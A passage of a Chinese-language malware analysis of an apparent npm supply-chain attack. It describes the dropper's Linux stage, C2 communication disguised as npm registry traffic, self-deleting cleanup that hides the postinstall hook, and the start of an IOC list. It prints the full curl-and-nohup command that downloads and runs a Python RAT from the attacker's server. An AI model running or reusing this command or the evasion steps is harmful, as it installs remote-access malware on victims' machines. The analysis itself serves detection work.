Times, &#34;Times New Roman&#34;, serif;padding-left: 12px;color: rgb(63, 63, 63);"><span leaf="">4.3 Linux — Python 直接投放器</span></h3><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">触发条件：</span></strong><span leaf=""> 所有其他平台（Linux 等）</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">执行链：</span></strong></p><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.05) 0px 0px 10px inset;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">curl -o /tmp/ld.py \</span><span leaf=""><br/></span><span leaf="">  -d packages.npm.org/product2 \</span><span leaf=""><br/></span><span leaf="">  -s <a href="http://sfrclak.com:8000/6202033" target="_blank">http://sfrclak.com:8000/6202033</a> \</span><span leaf=""><br/></span><span leaf="">&amp;&amp; </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(255, 166, 87);"><span leaf="">nohup</span></span><span leaf=""> python3 /tmp/ld.py <a href="http://sfrclak.com:8000/6202033" target="_blank">http://sfrclak.com:8000/6202033</a> &gt; /dev/null 2&gt;&amp;1 &amp;</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">执行方式：</span></strong><span leaf=""> Node.js </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">execSync()</span></code><span leaf=""> 直接执行 Shell 命令</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">C2 POST Body：</span></strong><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">packages.npm.org/product2</span></code></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">持久化文件：</span></strong><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">/tmp/ld.py</span></code><span leaf=""> — </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">保留在磁盘上</span></strong><span leaf="">（使用 nohup 后台运行）</span></p><h3 style="box-sizing: border-box;border-width: 0px 0px 1px 4px;border-style: solid solid dashed;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(0, 152, 116) rgb(0, 152, 116);font-size: 16.8px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: left;line-height: 1.2;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;padding-left: 12px;color: rgb(63, 63, 63);"><span leaf="">4.4 C2 通信设计</span></h3><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">三个平台发送不同的 POST Body 到同一 C2 端点：</span></strong></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);padding: 0px 8px;max-width: 100%;overflow: auto;"><table style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: inherit;text-indent: 0px;border-collapse: collapse;border-spacing: 0px;"><thead><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">平台</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">POST Body</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">返回载荷</span></p></td></tr></thead><tbody><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">macOS</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">packages.npm.org/product0</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">macOS RAT 二进制</span></p></td></tr><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">Windows</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">packages.npm.org/product1</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">PowerShell RAT 脚本</span></p></td></tr><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">Linux</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">packages.npm.org/product2</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">Python RAT 脚本</span></p></td></tr></tbody></table></p><blockquote style="box-sizing: border-box;border-width: 0px 0px 0px 4px;border-style: solid;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(229, 229, 229) rgb(0, 152, 116);margin: 0px 0px 1em;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;font-style: italic;padding: 1em 1em 1em 2em;border-radius: 6px;color: rgba(0, 0, 0, 0.6);background: rgb(247, 247, 247);box-shadow: rgba(0, 0, 0, 0.05) 0px 4px 6px;"><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 0px;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 1em;display: block;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">packages.npm.org/</span></code><span leaf=""> 前缀是刻意伪装——使出站流量在网络日志和 SIEM 规则中</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">一眼看去像正常的 npm 注册表通信</span></strong><span leaf="">。</span></p></blockquote><hr style="box-sizing: border-box;border: none;height: 1px;color: inherit;margin: 2em 0px;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;transform-origin: 0px 0px;transform: scale(1, 0.5);background: linear-gradient(to right, rgba(0, 0, 0, 0), rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0));"/><h2 style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 18.2px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;display: table;padding: 0.3em 1em;color: rgb(255, 255, 255);background: rgb(0, 152, 116);border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 6px;"><span leaf="">五、自清理机制 — 证据销毁</span></h2><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">载荷投放完成后，</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">setup.js</span></code><span leaf=""> 执行三步法医清理：</span></p><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.05) 0px 0px 10px inset;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">步骤 1: fs.unlink(__filename)           → 删除 setup.js 自身</span><span leaf=""><br/></span><span leaf="">步骤 2: fs.unlink(&#34;package.json&#34;)        → 删除含 postinstall 钩子的清单</span><span leaf=""><br/></span><span leaf="">步骤 3: fs.rename(&#34;package.md&#34;, &#34;package.json&#34;) → 干净存根替换</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">效果：</span></strong><span leaf=""> 事后检查 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">node_modules/plain-crypto-js/package.json</span></code><span leaf=""> 将显示完全干净的清单（版本 4.2.0，无 postinstall，无 setup.js 引用）。运行 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">npm audit</span></code><span leaf=""> 或手动审查已安装包目录</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">不会发现任何异常</span></strong><span leaf="">。</span></p><blockquote style="box-sizing: border-box;border-width: 0px 0px 0px 4px;border-style: solid;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(229, 229, 229) rgb(0, 152, 116);margin: 0px 0px 1em;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;font-style: italic;padding: 1em 1em 1em 2em;border-radius: 6px;color: rgba(0, 0, 0, 0.6);background: rgb(247, 247, 247);box-shadow: rgba(0, 0, 0, 0.05) 0px 4px 6px;"><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 0px;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 1em;display: block;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">关键排查线索：</span></strong><span leaf=""> 即使清理完成后，</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">node_modules/plain-crypto-js/</span></code><span leaf=""> 目录的存在本身就是被入侵的证据——该包不是任何合法 axios 版本的依赖。如果发现此目录，说明投放器已经执行。</span></p></blockquote><hr style="box-sizing: border-box;border: none;height: 1px;color: inherit;margin: 2em 0px;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;transform-origin: 0px 0px;transform: scale(1, 0.5);background: linear-gradient(to right, rgba(0, 0, 0, 0), rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0));"/><h2 style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 18.2px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;display: table;padding: 0.3em 1em;color: rgb(255, 255, 255);background: rgb(0, 152, 116);border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 6px;"><span leaf="">六、IOC — 完整威胁指标清单</span></h2><h3 style="box-sizing: border-box;border-width: 0px 0px 1px 4px;border-style: solid solid dashed;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(0, 152, 116) rgb(0, 152, 116);font-size: 16.8px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: left;line-height: 1.2;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;padding-left: 12px;color: rgb(63, 63, 63);"><span leaf="">7.1 恶意 npm 包</span></h3><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);padding: 0px 8px;max-width: 100%;overflow: auto;"><table style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: inherit;text-indent: 0px;border-collapse: collapse;border-spacing: 0px;"><thead><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">包名</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">版本</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: 